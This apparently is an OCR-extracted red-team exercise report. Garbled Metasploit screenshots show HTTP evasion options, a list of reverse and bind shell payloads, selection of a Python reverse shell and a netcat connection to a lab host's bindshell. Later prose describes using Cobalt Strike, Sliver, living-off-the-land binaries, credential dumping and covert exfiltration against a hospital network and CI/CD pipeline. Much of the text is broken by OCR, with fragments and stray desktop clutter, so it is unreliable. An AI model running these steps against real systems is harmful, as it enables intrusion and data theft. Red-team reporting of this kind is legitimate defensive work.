pad_fake_heade Insert random, fake headers into the HTTP request

pad_fake headers_count How many fake headers to insert into the HTTP request
HTTP: :pad_get_params 2 Insert random, fake guery string variables into the reguest
HTTP: :pad_get_params_count How many fake query string variables to insert into the request
HTTP: :pad_method_uri_count How many whitespace characters to use between the method and uri
HTTP: :pad_method uri ty What type of white: to use between the method and uri (Accep

HTTP: :pad_post_par fa Insert random, fake post variables into the request
HTTP: :pad_post_params_count How many fake post variables to insert into the request
HTTP::pad_uri version_count 1 How many whitespace characters to use between the uri and version
HTTP: :pad_uri_version_type what type of whitespace to use between the uri and ver
he)
HTTP::uri dir fake relati a lative direc into the uri
HITP dir_self_reference f. nsert self-referential directories into the uri
HTTP: encode_mode Enable URI encoding (Accepted: none, hex-normal, hex-nosl
normal, u-all, u-random)
fake_end fals fake end of URI (eq: /%20HTTP/1.
fake params_start a fake start of params to the URI
full_url Use the full URL for all HTTP requests
Use back slashes instead of forward slashes in the uri
on_random_invalid Use a random invalid, HTTP version for request
ion_random valid use a random, but valid, HTTP version for requ
d size Maxiumum tcp segment size. (0 = disable)
_delay pelays inserted before y send. (0 = disable)

R) Dual Band Wireless-AC 8265)

11:42 AM
12/10/2025

@ News for you
 Sky's Priya Dogr

Fig: Exploit
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root@osboxes: ~

File Edit View Search Terminal Help
TCP: :max_s
TCP: :send_dela

Maxiumum tcp segment size. (@ = disab
Dela inserted before every send. (8 = disabl.
= preview

msfS exploit( :header_folding true

HTTP: :header folding => true
msfS exploit( show evasion l
IIIIIIIIIIIIIIIIIIIIIIIII I

Module e options

Name Current Setting Required Descriptio

no Enable folding of HTTP headers
use random casing for the HTTP method
e a random invalid, HTTP method for reque
Use a random, but valid, HTTP method for t
Insert random, fake headers into the HTTP request
How many fake headers to insert into the HTTP request
Insert random, fake query string variables into the request
How many fake query string variables to insert into the reque:
How many whitespace characters to use between the method and ur
what type of whitespace to use between the method and uri (Accepted: spac

HTTP: :header_folding
HTTP: :method random case
HTTP: :method_random_invalid
HTTP: :method_random_valid
fake headers
fake headers count
get_par
get_params_count
method_uri_count
pad_method_uri_type

Insert random, fake post variables into the request
ny fake post variables to insert into the reques
any whitespace characters to use between the uri and version

what type of whitespace to use between the uri and version (Accepted: space, tab, apa

HTTP: :pad_post_parar

HTTP: :pad_post params_count

HTTP::pad_uri_version_count

HTTP: :pad_uri v pe
relative directories into the uri

r referential directories into the uri

f_referes e
hex-normal, hex-noslashes, hex-random, hex-all, u

encode_node Enable URI encoding (Accepted: none,
-normal, u-all, u-random)

uri_fake end
uri_fake _param

full_url
uri_use_bac
version_random_inva
version_random valid
max_send_size

d_delay

Add a fake end of URL (eg: /%26HTTP/1.0/../

Add a fake start of params to the URI (eg
Use the full URL for all HTTP requests

Use back slashes instead of forward slashes in the uri
Use a random invalid, HTTP version request

Use a random, but valid, HTTP version for request
Maxiumum tcp segment size. (@ = disable)

Delays inserted before eve nd. (0 = disable)

R) Dual Band Wireless-AC 8265)

Trending videos m . " 11:43 AM
H Q_ Search AN RO 000

Man Vs Baby offi

Fig: Exploit

pplications v Places v [ Terminal ~ Wed 06:45

root@osboxes: ~

File Edit View Search Terminal
HTTP the full URL for all HTTP requ
HITP b Use back slashes instead of forward slashes in the uri
HTTP: Use a random invalid, HTTP version for request -
HTTP: :version_random valid Use a random, but valid, HTTP version for request Preview
TCP: :max_send_size Maxiumum tcp segment size. (0 = disable
TCP:: Delays inserted before y send. (B = disable)

exploit(

mpatible Payload

Name Rank  Check Description
normal  No Unix Command Shell, Bind TCP (via AWK)
normal No Unix Command Shell, Bind TCP (via Perl)
ipve normal No unix command shell, Bind TCP (via perl) IPve
normal No Unix Command, Generic Command Execution
cnd/unix/reverse_awk normal  No Unix Command Shel
perl normal No Unix Com: 1 e
perl normal No unix Command Shell, Reverse sL (via perl
thon normal No Unix Command Shell, Reverse TCP (via Python)
No Unix Command Shell, Reverse TCP SSL (via python

cmd/unix/bind_awk

cmd/unix/bind perl
bind perl

cnd/unix/generi

cmd/unix/reverse

cnd/unix/reverse p

cmd/unix/reverse_python_ssl normal

nsfs exploit( ) > set cmd/unix/reverse python
Unknown variable

Usage: set [option] ue]

Set the given option to value. If value is omitted, print the current value
If both are omitted, print options that are currently set

If run from a module context, this will set the value in the module’s
datastore -g to operate on the global datastore

msfs exploit( ) > set payloads cmd/unix/reverse python ss
payloads => cmd/unix/reverse python ssl

nsfs exploit( ) > exploit

Exploit failed: The following options failed to validate: RHOSTS
[*] Exploit completed, but no session was create
msf5 exploit(
i ” R) Dual Band Wireless-AC 8265)

) [ 250 R (R Dibes ol

12 g 1145 AM
2] ‘ R Qs BB \‘n ﬂ -LO} C AR om0

loudy

Fig: Payloads
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onne
# nc

ect to
10.86.7.122 1524 =
M preview

Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

= I 7

11:48 AM
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Fig: Success

CI/CD Pipelines for Application Development:

The Red Team will focus on the Continuous Integration / Continuous Deployment (CI/CD) pipeline — a
critical asset for application development and software deployment. If the treatment is capable of breaking
into the pipeline, this would enable Red Team to inject malicious code in production systems, hijack
software builds, and perform a mass breach on an organization's software supply chain.
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Attack Execution Strategy:

To perform the attack, The Red Team will leverage various tools and techniques that imitate the tactics
of a real world APT actor - focusing on true stealth and evasion:

Cobalt Strike:

Cobalt Strike will be leveraged to simulate advanced threat actors by setting up a command and control
(C2) pipe for the Red Team. This will aid in beaconing, post-exploitation activities, lateral movement.
The crew will use privilege escalation and data extraction first grade, with the goal to stay hidden in
security wings.

Sliver Framework:

Sliver will serve as an alternative C2 framework for remote access and exploitation. Its versatility also in
the establishment of steganographic channels (HTTP or DNS channel) will circumvent detection produced
by network-based security systems such as IDS (Intrusion Detection System) and firewall.

Living-Off-the-Land (LOLBin) Techniques:

The Red Team will also use LOLBIns to bypass endpoint protection solutions. Existing network tools like
PowerShell, WMI and Command Prompt will be used for nefarious activities including lateral movement
and credential dumping.



Credential Dumping and Lateral Movement:

The group will take advantage of poor password policies and credential-dumping tools in order to gain
access to sensitive information. After exploitation, the team will traverse using SMB and RDP, ultimately
looking for sensitive data within the AWS VPC as well as CI/CD pipeline.

Stealthy Data Exfiltration:

The Red Team will exfiltrate its collected information over encrypted channels to avoid network security
tools detection. FTP over SSL or HTTPS to circumvent defences, and exfiltrate the stolen data to a remote
destination managed by threat actors.

3.3 Reporting & Analysis
Technical Report for Blue Team:

The Technical Report will contain the entire attack chain, starting from the initial access to data
exfiltration. Key takeaways in the report will be:

Initial Access: How spear-phishing was accomplished and how the attack's payload gained entry into the
network.

Execution & Privilege Escalation: The techniques, tools and commands used to move laterally within
the network.

Persistence & Lateral Movement: How the Red Team kept access and traversed the wire by way of
SMB and RDP.

Exfiltration & Impact: Methods of exfiltrating data employed, and identifying the lack of detection (if
any) in relation to the attack and how it contributed to overall impact on organizational security posture.

Detection Gaps:

The report should also focus on where Blue Team security controls missed certain TTPs, for example
fileless execution of malware or lateral movement using RDP.

Executive Brief for the Board:

The Executive Brief will have a summary of the business impact of the attack at an executive level [9]. It
will focus on:

Financial Losses: Financial loss that may occur due to data breaches, including ransom ware payments,
operational down time and reputational damage.

Strategic Security Enhancements Suggestions for better incident detection, response facilities and data
protection.

Cost-Benefit Analysis: Justifying an investment in security improvements based on potential costs of a
future breach.

This paper will detail the results in non-technical terms so as to provide clear comprehension at a board-
level of the strategic importance of improving an organization's security capabilities.



Conclusion:

It also surfaced the cybersecurity shortcomings from the hospital — which included the absence of multi-
factor authentication (MFA), a outdated software and deficiencies in network segmentation. Attackers
were able to compromise via spear phishing, elevate privileges with unpatched vulns, and steal
information over SMB and side-channel communications. This attack revealed some key shortfalls in the
preventative and detective controls of the organization with considerable monetary, reputational, and
regulatory implications.

During the Red Team engagement, the simulated attack was all about emulating and testing an
organization’s hybrid infrastructure (on-premises AD network and AWS VPC) combined with CI/CD
pipelines. The attack proved an APTs ability to take advantage of vulnerabilities in such systems,
emphasizing the need for networked-segmentation, incident response planning, and for being able to detect
advanced malware. The incident was suspected to have been carried out via tooling such as Cobalt Strike,
Sliver, and highlighted the importance of stealth and evasion in a real-world attack.

Offensive security, and especially Red Team exercises are essential to increasing a company’s defensive
preparedness [4]. Red Team exercises simulate real attacks, so that organizations can know how attackers
are going to act or find weaknesses and test the defense it has in place. This proactive methodology allows
teams to hone all of their incident detection, response programs and architectural systems without a real
attack taking place. Given the threat landscape, where cyber threats are evolving and attackers are
increasingly advanced, employing offensive security techniques like Red Teaming is critical for outpacing
adversaries and maintaining business operations.
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